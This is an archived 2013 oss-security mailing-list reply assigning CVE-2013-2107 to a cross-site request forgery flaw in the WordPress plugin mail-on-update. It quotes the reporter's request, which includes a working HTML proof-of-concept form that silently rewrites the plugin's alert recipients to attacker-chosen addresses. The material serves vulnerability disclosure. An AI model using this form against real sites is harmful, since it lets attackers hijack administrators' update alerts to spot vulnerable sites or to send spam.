[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Date: Sat, 18 May 2013 00:58:07 -0600
From: Kurt Seifried <kseifried@...hat.com>
To: oss-security@...ts.openwall.com
CC: Henri Salo <henri@...v.fi>
Subject: Re: CVE request: WordPress plugin mail-on-update CSRF
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
On 05/16/2013 08:06 AM, Henri Salo wrote:
> Hello,
>
> Can I get 2013 CVE for WordPress plugin mail-on-update CSRF vulnerability. PoC
> for "List of alternative recipients" below. Tested 5.1.0 version.
>
> Homepage: http://wordpress.org/extend/plugins/mail-on-update/
> Code: http://plugins.svn.wordpress.org/mail-on-update/trunk/
>
> <html><form action="https://example.com/wp/wp-admin/options-general.php?page=mail-on-update" method="post" class="buttom-primary">
> <input name="mailonupdate_mailto" type="hidden" value="example0@...mple.com
> example1@...mple.com
> example2@...mple.com
> example3@...mple.com
> example4@...mple.com
> example5@...mple.com
> example6@...mple.com
> example7@...mple.com
> example8@...mple.com
> example9@...mple.com
> example10@...mple.com
> henri+monkey@...v.fi" />
> <input name="submit" type="submit" value="Save"/></form></html>
>
> If attacker adds random email to that form default user won't get emails and
> attacker might be interested to receive these as the email contains information
> of available plugin updates.
>
> ---
> Henri Salo
Even better the remote site then notifies you when it becomes vulnerable
to a security flaw, or you can use it to spam people, or all sorts of
other annoying things.
Please use CVE-2013-2107 for this issue.
- --
Kurt Seifried Red Hat Security Response Team (SRT)
PGP: 0x5E267993 A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.13 (GNU/Linux)
iQIcBAEBAgAGBQJRlyZ/AAoJEBYNRVNeJnmT7pkP/iDGTI3Jf3aAHTDUQgPUZ/ZO
TCd9EYDghNiaFiW6pFjbLejoJ77Fg5md4tZ2Y0sFtgyYjL/4pZnlW/lGthVDCgr3
KvJmuibB2PpHC51JDKxX+lzeYhyW1wY8zAx0Vz64+NAyGebbsaSAkPrl4ry1WKtK
zBJQn+zDPVrqBHhzXeVd+Fstvk5xI3SQdOJWZFG0fbperH9+GTwJChlOVLkHt5IJ
FvzPHm13KBRhI0FSvcFbKKgaxaSD6yznPfsvV8+dHnffHiGqrtizFiRHvWSdIv/r
QypYQyEkBta/z8OKNO9Q1hQlGynT2YT1AGrDwr8efKqeL5k/9kawS4y+Y524iouN
7JWj/OV3kfldxJy1Sak2z73FUqhBVEZQ+/hoH7dxR0PIzWRK6DjrZJZfS6D0KDDV
GI6Mqlxg13FrYa128lBfdHK+WaFbB1jhQMN4xQfuk4d/9ni3lmUSsTVpsCZU3X3W
lgGCyICVEWva660Pg9iz7BRebd4BwxROivMYCXQTXKBF0nyZ6MZoCdXIktEpET/G
YBojmgWRh/tf0Os9mIDei17w/seDlTSJuRiV+yEKYETucZD7YfMEA7pEjfnSDjjy
rsoxr3O226i8drZaFUu8a4Xb4dY49SHSHiPmh+mcdtwPnaEgBcj3Nr3xSyi4QG8S
d6mzTmdY1YMHK7yJ33Ft
=VKrq
-----END PGP SIGNATURE-----
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
